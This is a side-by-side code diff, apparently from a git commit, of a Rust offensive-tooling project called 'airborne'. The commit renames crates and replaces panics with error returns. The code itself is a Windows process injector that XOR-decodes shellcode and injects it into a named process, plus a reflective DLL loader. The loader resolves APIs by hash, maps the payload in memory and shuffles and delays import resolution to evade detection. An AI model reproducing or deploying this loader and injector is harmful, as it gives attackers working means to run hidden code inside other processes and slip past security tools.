airborne_utils::xor_cipher(&mut shellcode, &keyfile); airborne_common::xor_cipher(&mut shellcode, &keyfile);
println!("[+] injecting shellcode into {}", args.procname); println!("[+] injecting shellcode into {}", args.procname);
unsafe { inject::inject(proc_id, shellcode) }; unsafe {
match inject::inject(proc_id, shellcode) {
println!("[+] done"); Ok(_) => println!("[+] done"),
Err(e) => println!("[!] failure during injection: {}", e),
}
};
} }
fn parse_args() -> Args { fn parse_args() -> Args {
@ -85,5 +112,5 @@ fn parse_args() -> Args {
} }
fn print_usage() { fn print_usage() {
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>"); println!("Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>");
} }

View File

@ -1,4 +1,4 @@
use std::ffi::CStr; use std::{error::Error, ffi::CStr};
use windows_sys::Win32::{ use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
@ -7,31 +7,31 @@ use windows_sys::Win32::{
}, },
}; };
fn snapshot() -> isize { fn snapshot() -> Result<isize, Box<dyn Error>> {
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }; let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
if snapshot == INVALID_HANDLE_VALUE { if snapshot == INVALID_HANDLE_VALUE {
panic!("failed to create snapshot"); return Err("failed to create toolhelp snapshot".into());
} }
snapshot Ok(snapshot)
} }
unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 { unsafe fn first_proc_entry(snapshot: isize) -> Result<PROCESSENTRY32, Box<dyn Error>> {
let mut pe: PROCESSENTRY32 = std::mem::zeroed(); let mut pe: PROCESSENTRY32 = std::mem::zeroed();
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _; pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
if Process32First(snapshot, &mut pe) == 0 { if Process32First(snapshot, &mut pe) == 0 {
CloseHandle(snapshot); CloseHandle(snapshot);
panic!("failed to get first process entry"); return Err("failed to get first process entry".into());
} }
pe Ok(pe)
} }
pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> { pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Error>> {
let snapshot = snapshot(); let snapshot = snapshot()?;
let mut pe = first_proc_entry(snapshot); let mut pe = first_proc_entry(snapshot)?;
loop { loop {
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _) let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
@ -43,14 +43,15 @@ pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
println!("[+] {}: {}", pid, proc_name); println!("[+] {}: {}", pid, proc_name);
CloseHandle(snapshot); CloseHandle(snapshot);
return Some(pid); return Ok(Some(pid));
} else if Process32Next(snapshot, &mut pe) == 0 { }
if Process32Next(snapshot, &mut pe) == 0 {
break; break;
} }
} }
println!("[-] process with name {} not found", target_name);
CloseHandle(snapshot); CloseHandle(snapshot);
None Ok(None)
} }

View File

@ -1,5 +1,5 @@
[package] [package]
name = "airborne-payload" name = "poc-payload"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"

View File

@ -1,5 +1,5 @@
[package] [package]
name = "airborne-reflective_loader" name = "reflective-loader"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"
@ -7,7 +7,7 @@ edition = "2021"
crate-type = ["cdylib"] crate-type = ["cdylib"]
[dependencies] [dependencies]
airborne-utils = { path = "../utils" } airborne-common = { path = "../common" }
[dependencies.windows-sys] [dependencies.windows-sys]
version = "0.52.0" version = "0.52.0"

View File

@ -10,6 +10,7 @@ use core::{
slice::from_raw_parts, slice::from_raw_parts,
}; };
use airborne_common::Flags;
use windows_sys::{ use windows_sys::{
core::PWSTR, core::PWSTR,
Win32::{ Win32::{
@ -41,10 +42,6 @@ use windows_sys::{
use crate::memory::*; use crate::memory::*;
// TODO: replace with parameters from the shellcode generator
const SHUFFLE_IMPORTS: bool = true;
const DELAY_IMPORTS: bool = true;
const MAX_IMPORT_DELAY_MS: u64 = 2000; const MAX_IMPORT_DELAY_MS: u64 = 2000;
#[cfg(not(test))] #[cfg(not(test))]
@ -53,36 +50,15 @@ fn panic(_info: &core::panic::PanicInfo) -> ! {
loop {} loop {}
} }
// TODO: add to blog references
// https://research.ijcaonline.org/volume113/number8/pxc3901710.pdf
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
// TODO: replace plain returns with Result<T, E> and propagate errors until panic in the loader function
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
#[export_name = "_fltused"]
static _FLTUSED: i32 = 0;
#[no_mangle] #[no_mangle]
#[allow(non_snake_case)] #[allow(non_snake_case, clippy::missing_safety_doc)]
pub unsafe extern "system" fn _DllMainCRTStartup( pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
_module: HMODULE,
_call_reason: u32,
_reserved: *mut c_void,
) -> BOOL {
1 1
} }
//#[no_mangle]
//#[allow(non_snake_case)]
//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
// 1
//}
#[link_section = ".text"] #[link_section = ".text"]
#[no_mangle] #[no_mangle]
#[allow(clippy::missing_safety_doc)]
pub unsafe extern "system" fn loader( pub unsafe extern "system" fn loader(
payload_dll: *mut c_void, payload_dll: *mut c_void,
function_hash: u32, function_hash: u32,
@ -91,6 +67,8 @@ pub unsafe extern "system" fn loader(
_shellcode_bin: *mut c_void, _shellcode_bin: *mut c_void,
flags: u32, flags: u32,
) { ) {
let flags = airborne_common::parse_u32_flag(flags);
/* /*
1.) locate the required functions and modules from exports with their hashed names 1.) locate the required functions and modules from exports with their hashed names
*/ */
@ -121,11 +99,8 @@ pub unsafe extern "system" fn loader(
as *mut IMAGE_NT_HEADERS64; as *mut IMAGE_NT_HEADERS64;
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize; let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void; let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs); let base_addr_ptr =
allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap();
if base_addr_ptr.is_null() {
return;
}
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr); copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
@ -163,7 +138,7 @@ pub unsafe extern "system" fn loader(
return; return;
} }
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs); patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs, &flags);
/* /*
5.) finalize the sections by setting protective permissions after mapping the image 5.) finalize the sections by setting protective permissions after mapping the image
@ -175,15 +150,7 @@ pub unsafe extern "system" fn loader(
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator 6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/ */
if flags == 0 { if flags.ufn {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
} else {
// UserFunction address = base address + RVA of user function // UserFunction address = base address + RVA of user function
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap(); let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
@ -192,6 +159,14 @@ pub unsafe extern "system" fn loader(
// execution with user data passed into the shellcode by the generator // execution with user data passed into the shellcode by the generator
UserFunction(user_data, user_data_len); UserFunction(user_data, user_data_len);
} else {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
} }
} }
@ -263,7 +238,7 @@ unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len); let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
// calculate the module hash and compare it // calculate the module hash and compare it
if module_hash == airborne_utils::calc_hash(name_slice_buf) { if module_hash == airborne_common::calc_hash(name_slice_buf) {
return Some((*table_entry_ptr).DllBase as _); return Some((*table_entry_ptr).DllBase as _);
} }
@ -318,7 +293,7 @@ unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Optio
let name_len = get_cstr_len(name_ptr as _); let name_len = get_cstr_len(name_ptr as _);
let name_slice = from_raw_parts(name_ptr as _, name_len); let name_slice = from_raw_parts(name_ptr as _, name_len);
if function_hash == airborne_utils::calc_hash(name_slice) { if function_hash == airborne_common::calc_hash(name_slice) {
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize); return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
} }
} }
@ -331,7 +306,7 @@ unsafe fn allocate_rw_memory(
preferred_base_ptr: *mut c_void, preferred_base_ptr: *mut c_void,
alloc_size: usize, alloc_size: usize,
far_procs: &FarProcs, far_procs: &FarProcs,
) -> *mut c_void { ) -> Option<*mut c_void> {
let mut base_addr_ptr = (far_procs.VirtualAlloc)( let mut base_addr_ptr = (far_procs.VirtualAlloc)(
preferred_base_ptr, preferred_base_ptr,
alloc_size, alloc_size,
@ -349,7 +324,11 @@ unsafe fn allocate_rw_memory(
); );
} }
base_addr_ptr if base_addr_ptr.is_null() {
return None;
}
Some(base_addr_ptr)
} }
#[link_section = ".text"] #[link_section = ".text"]
@ -438,7 +417,8 @@ unsafe fn patch_iat(
base_addr_ptr: *mut c_void, base_addr_ptr: *mut c_void,
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR, mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
far_procs: &FarProcs, far_procs: &FarProcs,
) { flags: &Flags,
) -> BOOL {
/* /*
1.) shuffle Import Directory Table entries (image import descriptors) 1.) shuffle Import Directory Table entries (image import descriptors)
2.) delay the relocation of each import a random duration 2.) delay the relocation of each import a random duration
@ -456,10 +436,13 @@ unsafe fn patch_iat(
let id_ptr = import_descriptor_ptr; let id_ptr = import_descriptor_ptr;
if import_count > 1 && SHUFFLE_IMPORTS { if import_count > 1 && flags.shuffle {
// Fisher-Yates shuffle // Fisher-Yates shuffle
for i in 0..import_count - 1 { for i in 0..import_count - 1 {
let rn = get_rn(far_procs).unwrap(); // TODO: replace with error propagation let rn = match get_random(far_procs) {
Some(rn) => rn,
None => return 0,
};
let gap = import_count - i; let gap = import_count - i;
let j_u64 = i + (rn % gap); let j_u64 = i + (rn % gap);
@ -473,17 +456,18 @@ unsafe fn patch_iat(
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize); let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
if module_name_ptr.is_null() { if module_name_ptr.is_null() {
return; return 0;
} }
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _); let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
if module_handle == 0 { if module_handle == 0 {
return; return 0;
} }
if DELAY_IMPORTS { if flags.delay {
let rn = get_rn(far_procs).unwrap_or(0); // TODO: replace with error propagation // skip delay if winapi call fails
let rn = get_random(far_procs).unwrap_or(0);
let delay = rn % MAX_IMPORT_DELAY_MS; let delay = rn % MAX_IMPORT_DELAY_MS;
(far_procs.Sleep)(delay as _); (far_procs.Sleep)(delay as _);
} }
@ -517,7 +501,10 @@ unsafe fn patch_iat(
// mask out the high bits to get the ordinal value and patch the address of the function // mask out the high bits to get the ordinal value and patch the address of the function
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8; let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
(*thunk_ptr).u1.Function = (*thunk_ptr).u1.Function =
(far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _; match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) {
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
} else { } else {
// get the function name from the thunk and patch the address of the function // get the function name from the thunk and patch the address of the function
let thunk_data_ptr = (base_addr_ptr as usize let thunk_data_ptr = (base_addr_ptr as usize
@ -525,7 +512,10 @@ unsafe fn patch_iat(
as *mut IMAGE_IMPORT_BY_NAME; as *mut IMAGE_IMPORT_BY_NAME;
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr(); let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
(*thunk_ptr).u1.Function = (*thunk_ptr).u1.Function =
(far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _; match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) {
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
} }
thunk_ptr = thunk_ptr.add(1); thunk_ptr = thunk_ptr.add(1);
@ -535,6 +525,8 @@ unsafe fn patch_iat(
import_descriptor_ptr = import_descriptor_ptr =
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _; (import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
} }
1
} }
#[link_section = ".text"] #[link_section = ".text"]
@ -609,7 +601,7 @@ unsafe fn finalize_relocations(
} }
#[link_section = ".text"] #[link_section = ".text"]
unsafe fn get_rn(far_procs: &FarProcs) -> Option<u64> { unsafe fn get_random(far_procs: &FarProcs) -> Option<u64> {
let mut buffer = [0u8; 8]; let mut buffer = [0u8; 8];
let status = (far_procs.BCryptGenRandom)( let status = (far_procs.BCryptGenRandom)(
BCRYPT_RNG_ALG_HANDLE, BCRYPT_RNG_ALG_HANDLE,